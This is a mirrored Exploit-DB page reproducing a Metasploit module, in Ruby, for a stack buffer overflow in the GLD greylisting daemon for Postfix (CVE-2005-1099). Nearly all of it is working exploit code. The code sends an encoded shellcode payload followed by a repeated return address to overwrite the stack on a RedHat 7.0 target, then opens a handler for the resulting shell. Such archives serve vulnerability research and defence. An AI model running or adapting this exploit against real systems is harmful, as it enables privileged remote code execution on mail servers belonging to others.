Salim Gasmi GLD (Greylisting Daemon) – Postfix Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-07-03

类别：

remote

平台：

linux

来源：https://www.exploit-db.com/exploits/16841/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

##

# $Id: gld_postfix.rb 9669 2010-07-03 03:13:45Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in the Salim Gasmi

GLD <= 1.4 greylisting daemon for Postfix. By sending an

overly long string the stack can be overwritten.

},

'Version' => '$Revision: 9669 $',

'Author' => [ 'patrick' ],

'Arch' => ARCH_X86,

'Platform' => 'linux',

'References' =>

[

[ 'CVE', '2005-1099' ],

[ 'OSVDB', '15492' ],

[ 'BID', '13129' ],

[ 'URL', 'http://www.milw0rm.com/exploits/934' ],

],

'Privileged' => true,

'License' => MSF_LICENSE,

'Payload' =>

{

'Space' => 1000,

'BadChars' => "\x00\x0a\x0d\x20=",

'StackAdjustment' => -3500,

},

'Targets' =>

[

[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],

],

'DefaultTarget' => 0,

'DisclosureDate'=> 'Apr 12 2005'

))

register_options(

[

Opt::RPORT(2525)

],

self.class

)

end

def exploit

connect

sploit = "sender="+ payload.encoded + "\r\n"

sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

sock.put(sploit)

handler

disconnect

end